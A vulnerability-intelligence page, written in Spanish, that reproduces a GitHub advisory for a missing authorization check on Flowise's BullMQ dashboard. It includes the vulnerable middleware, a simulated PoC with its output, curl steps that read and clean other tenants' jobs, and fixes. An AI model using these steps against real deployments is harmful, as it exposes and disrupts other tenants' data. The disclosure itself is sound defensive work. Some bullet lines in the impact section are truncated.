llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · flowise

GHSA-RPCC-GW54-MFGX

BullMQ dashboard `/admin/queues` is auth-only (no RBAC), exposing cross-tenant job payloads to every authenticated user

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
8.7
Alta
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición70 dDesde la divulgación, 10 sept 2026, 9:18 a. m.
Detección69 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
10 sept 26
18 nov 26
20 nov 26
10 sept 26
28 sept 26
15 oct 26
2 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-RPCC-GW54-MFGX divulgada · CVSS 8.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
When Flowise runs in queue mode with the BullMQ admin dashboard enabled
(`MODE=queue + ENABLE_BULLMQ_DASHBOARD=true + !isCloud()`), the
`/admin/queues` mount is gated only by the `verifyTokenForBullMQDashboard`
middleware (`enterprise/middleware/passport/index.ts:437-463`). That
middleware accepts any authenticated user — there is no role check, no
permission check, no workspace/organization scoping. Every workspace
member, including the lowest-privileged role of any tenant, reaches the
full Bull-Board UI which exposes:

  • All queues across the entire Flowise instance (prediction, upsertion).
  • All job payloads — including `incomingInput` (chat messages plus
  • Bull-Board write actions: retry, remove, promote, clean — usable

The `/admin/queues` mount is outside `/api/v1/*` so the global API
gate (`index.ts:214-284`) does not apply. The pre-2026 code had no auth at
all on this path; commit `1bfa7a1c` ("Fix: Disclosures", PR #5562, 2026-01-08)
added authentication but not authorization. T1.5 is the
incompletely-remediated state: auth-only with no role gate.

Details

Vulnerable mount — `packages/server/src/index.ts:323-335`:

if (process.env.MODE === MODE.QUEUE && process.env.ENABLE_BULLMQ_DASHBOARD === 'true' && !this.identityManager.isCloud()) {
    // Initialize admin queues rate limiter
    const id = 'bullmq_admin_dashboard'
    await this.rateLimiterManager.addRateLimiter(
        id,
        60,
        100,
        process.env.ADMIN_RATE_LIMIT_MESSAGE || 'Too many requests to admin dashboard, please try again later.'
    )

    const rateLimiter = this.rateLimiterManager.getRateLimiterById(id)
    this.app.use('/admin/queues', rateLimiter, verifyTokenForBullMQDashboard, this.queueManager.getBullBoardRouter())
}

The middleware — `packages/server/src/enterprise/middleware/passport/index.ts:437-463`:

export const verifyTokenForBullMQDashboard = (req: Request, res: Response, next: NextFunction) => {
    passport.authenticate('jwt', { session: true }, (err: any, user: LoggedInUser, info: object) => {
        if (err) {
            return next(err)
        }

        // @ts-ignore
        if (info && info.name === 'TokenExpiredError') {
            if (req.cookies && req.cookies.refreshToken) {
                return res.redirect('/signin?retry=true')
            }
            return res.redirect('/signin')
        }

        if (!user) {
            return res.redirect('/signin')
        }

        const identityManager = getRunningExpressApp().identityManager
        if (identityManager.isEnterprise() && !identityManager.isLicenseValid()) {
            return res.redirect('/license-expired')
        }

        req.user = user
        next()                                                              // ← any authenticated user passes
    })(req, res, next)
}

The function checks the JWT cookie (token validity, expiry, license
state) and then unconditionally calls `next()`. There is no comparison
against `user.isOrganizationAdmin`, `user.permissions`, `user.activeWorkspaceId`,
or `user.activeOrganizationId`. This is a binary gate: authenticated /
not authenticated.

For comparison, every other RBAC-protected route in Flowise uses the
`checkPermission` / `checkAnyPermission` helpers from
`enterprise/rbac/PermissionCheck.ts:5-46`:

export const checkPermission = (permission: string) => {
    return (req: Request, res: Response, next: NextFunction) => {
        const user = req.user
        if (user) {
            if (user.isOrganizationAdmin) return next()                     // admin override
            const permissions = user.permissions
            if (permissions && permissions.includes(permission)) return next()
        }
        return res.status(403).json({ message: ErrorMessage.FORBIDDEN })
    }
}

No equivalent permission exists for the BullMQ dashboard — the
permission catalog (`enterprise/rbac/Permissions.ts`) does not contain a
`queues:view` / `admin:queues` / `system:admin` entry. The dashboard was
simply mounted without RBAC.

Job payloads exposed — every `*.addJob(omit(executeData, OMIT_QUEUE_JOB_DATA))`
call site (10+ across `services/documentstore`, `services/agentflowv2-generator`,
`services/nodes`, `utils/buildChatflow.ts:1087`, `utils/upsertVector.ts:310`)
omits only six runtime objects:

// utils/constants.ts:82
export const OMIT_QUEUE_JOB_DATA = [
    'componentNodes',
    'appDataSource',
    'sseStreamer',
    'telemetry',
    'cachePool',
    'usageCacheManager',
    'abortControllerPool'
]

What remains in the queued job data and is visible in the dashboard:

| Field | Sensitivity |
|---|---|
| `incomingInput` (chat messages, `overrideConfig` with `credentialId`/`apiKey`) | High — contains user prompts, often PII; can contain referenced credential IDs |
| `chatflow.flowData` (graph JSON) | High — contains `customFunction.inputs.javascriptFunction` source, `chatNemoGuardrails.baseUrl`, all node-level config, embedded system prompts (proprietary) |
| `chatflow.id`, `chatId`, `orgId`, `workspaceId` | Multi-tenant context |
| `files` | Document content (multipart uploads) |
| `baseURL`, `chatType`, `isInternal`, `isEvaluation`, `evaluationRunId`, `subscriptionId`, `productId` | Tenant operational metadata |

Bull-Board write actions (per `@bull-board/express`):
the dashboard exposes `POST /api/queues/:queueName/jobs/:jobId/retry`,
`/clean`, `/remove`, `/promote`, plus full-queue clean/drain. A
low-privileged user can manipulate any tenant's job state.

PoC

`pocs/T1.5-bullmq-dashboard-no-rbac/repro.js` — replays the
`verifyTokenForBullMQDashboard` middleware verbatim into a self-contained
Express app with a stub Bull-Board router. Sweeps role/permission
combinations against both the current Flowise mount and a
hypothetical RBAC-gated mount that wraps the same middleware with
`checkPermission('admin:queues')`.

// PoC for T1.5: BullMQ dashboard /admin/queues lacks any role/permission gate
const express = require('express')

// Reproduce verifyTokenForBullMQDashboard from passport/index.ts:437-463 verbatim
function verifyTokenForBullMQDashboard(req, res, next) {
    const user = req._injectedUser
    if (!user) return res.redirect('/signin')
    req.user = user
    next()
}

// What it SHOULD use — checkPermission from rbac/PermissionCheck.ts:5-19
const checkPermission = (permission) => (req, res, next) => {
    const user = req.user
    if (user) {
        if (user.isOrganizationAdmin) return next()
        if ((user.permissions || []).includes(permission)) return next()
    }
    return res.status(403).json({ message: 'Forbidden' })
}

// Stub Bull-Board router — in real life this is @bull-board/api which
// exposes job payloads + retry/remove/promote/clean across all queues.
const bullBoardRouter = express.Router()
bullBoardRouter.use((req, res) => res.json({ accessGrantedTo: req.user }))

const app = express()
app.use((req, res, next) => {
    if (req.headers['x-test-user']) req._injectedUser = JSON.parse(req.headers['x-test-user'])
    next()
})
app.use('/admin/queues', verifyTokenForBullMQDashboard, bullBoardRouter)
app.use('/admin/queues-correct', verifyTokenForBullMQDashboard, checkPermission('admin:queues'), bullBoardRouter)

const cases = [
    { label: 'Anonymous (no JWT)', user: null },
    { label: 'Workspace member with view-only role',
      user: { id: 'low-priv-uuid', isOrganizationAdmin: false, permissions: ['chatflows:view'], activeOrganizationId: 'org-A' } },
    { label: 'Chatflow editor in workspace A',
      user: { id: 'editor-A', isOrganizationAdmin: false, permissions: ['chatflows:create'], activeOrganizationId: 'org-A' } },
    { label: 'Chatflow editor in workspace B (different tenant!)',
      user: { id: 'editor-B', isOrganizationAdmin: false, permissions: ['chatflows:create'], activeOrganizationId: 'org-B' } },
    { label: 'Organization admin',
      user: { id: 'admin', isOrganizationAdmin: true, permissions: [], activeOrganizationId: 'org-A' } }
]

;(async () => {
    const server = app.listen(0)
    await new Promise((r) => server.once('listening', r))
    const base = `http://127.0.0.1:${server.address().port}`

    for (const path of ['/admin/queues', '/admin/queues-correct']) {
        console.log(`=== Sweep against ${path} ===`)
        for (const c of cases) {
            const headers = c.user ? { 'x-test-user': JSON.stringify(c.user) } : {}
            const r = await fetch(base + path + '/api/queues', { headers, redirect: 'manual' })
            const tag = r.status === 200 ? '*** GRANTED ***' : 'denied/redirected'
            console.log(`  [${tag.padEnd(20)}] ${c.label.padEnd(50)}  status=${r.status}`)
        }
    }
    server.close()
})()
Observed output
=== Sweep against /admin/queues ===                                  ← current Flowise mount
  [redirected/denied   ] Anonymous (no JWT)                                  status=302
  [*** GRANTED ***     ] Workspace member with view-only role                status=200
  [*** GRANTED ***     ] Chatflow editor in workspace A                      status=200
  [*** GRANTED ***     ] Chatflow editor in workspace B (different tenant!)  status=200    ← cross-tenant
  [*** GRANTED ***     ] Organization admin                                  status=200

=== Sweep against /admin/queues-correct ===                          ← hypothetical RBAC-gated
  [denied/redirected   ] Anonymous (no JWT)                                  status=302
  [denied/redirected   ] Workspace member with view-only role                status=403
  [denied/redirected   ] Chatflow editor in workspace A                      status=403
  [denied/redirected   ] Chatflow editor in workspace B (different tenant!)  status=403
  [*** granted ***     ] Organization admin                                  status=200    ← only admin

4/5 users including a chatflow editor of an *unrelated tenant* reach the
current dashboard mount. The hypothetical RBAC-gated mount restricts
access to org admins, as it should.

End-to-end against a live Flowise instance
# Prerequisite: deployment with MODE=queue, ENABLE_BULLMQ_DASHBOARD=true, NOT cloud-hosted.

# 1. Authenticate as any workspace member (e.g., a chatflow editor):
curl -c jar.txt -X POST https://target/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"low-priv-user@example.com","password":"<password>"}'

# 2. Browse the dashboard:
curl -b jar.txt https://target/admin/queues/api/queues
#    → returns the full list of queues across the instance.

# 3. Inspect cross-tenant jobs:
curl -b jar.txt https://target/admin/queues/api/queues/prediction/jobs
#    → returns job payloads including incomingInput, chatflow.flowData,
#      orgId, workspaceId — for every tenant.

# 4. Manipulate another tenant's job (Bull-Board write action):
curl -b jar.txt -X PUT https://target/admin/queues/api/queues/prediction/<job-id>/clean
#    → cross-tenant disruption.
Verification gap

Live HTTP-driven verification against a deployed Flowise additionally
requires the queue-mode + dashboard-enabled environmental config. The
behavioral simulator is conclusive evidence that the current middleware
chain has no role/permission/workspace check beyond the JWT cookie
validity. The live gap only confirms the Bull-Board contents, which are
documented in the queue addJob sites enumerated above.

Impact
  • Class: Authorization bypass / Insecure Direct Object Reference at
  • Affected: Flowise deployments running in queue mode with the
  • Prerequisites: any session cookie (any role).
  • Result:
  • Cross-tenant read of prediction and upsertion job payloads
  • Cross-tenant write via Bull-Board's UI: retry/remove/promote/
  • Workspace member authoring chatflow A can read another
Remediation

Maintainer fix (one-line — extend existing RBAC): add a permission
check to the mount. In `packages/server/src/index.ts:334`:

import { checkPermission } from './enterprise/rbac/PermissionCheck'

// ... in config():
this.app.use(
    '/admin/queues',
    rateLimiter,
    verifyTokenForBullMQDashboard,
    checkPermission('admin:queues'),                                       // ← add
    this.queueManager.getBullBoardRouter()
)

This requires registering a new permission `admin:queues` in
`packages/server/src/enterprise/rbac/Permissions.ts` — assign it to the
`OWNER` role only. Org admins keep dashboard access; everyone else gets
403.

Alternative one-liner (if you don't want to add a new permission):
gate on `isOrganizationAdmin` directly:

const requireOrgAdmin = (req, res, next) => {
    if (req.user?.isOrganizationAdmin) return next()
    return res.status(403).json({ message: 'Forbidden' })
}
this.app.use('/admin/queues', rateLimiter, verifyTokenForBullMQDashboard, requireOrgAdmin, this.queueManager.getBullBoardRouter())

Either fix closes the same-instance cross-tenant exposure.

Defense in depth:
1. Strip cross-tenant context from job payloads before they hit the
queue — at minimum, mask `flowData`'s `customFunction.javascriptFunction`,
any embedded prompts, and credential IDs in the queued data, then
reload them at worker time. This protects against future regressions
in the dashboard auth.
2. Tag every job with its `orgId/workspaceId` and add a per-tenant view
filter to Bull-Board. The current Bull-Board upstream doesn't support
this directly; an alternative is to use separate queues per tenant
so cross-tenant queue-listing is structurally impossible.
3. Consider disabling `ENABLE_BULLMQ_DASHBOARD` by default and only
enabling it via an admin-only operator setting (it's currently a
binary env flag).
4. Audit-log every `/admin/queues/*` access with the resolved user and
the job/queue that was inspected or mutated.

User mitigations until a patch ships:
- Set `ENABLE_BULLMQ_DASHBOARD` to anything other than `true` (or
unset it). The dashboard then will not be mounted at all and Flowise
in queue mode continues to function — only the inspection UI is
disabled.
- If the dashboard is required for operational use, restrict access at
the network layer (e.g., a reverse proxy that gates `/admin/queues/*`
on a VPN allow-list or a separate IdP-signed cookie) until the
upstream RBAC check ships.
- Audit current job payloads for sensitive content; consider whether
any `customFunction.javascriptFunction` source code, system prompts,
or credentials are visible across tenants in your deployment.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:L
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flowise≤ 3.1.4
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Sin parche — — 3.1.4 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rpcc-gw54-mfgx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.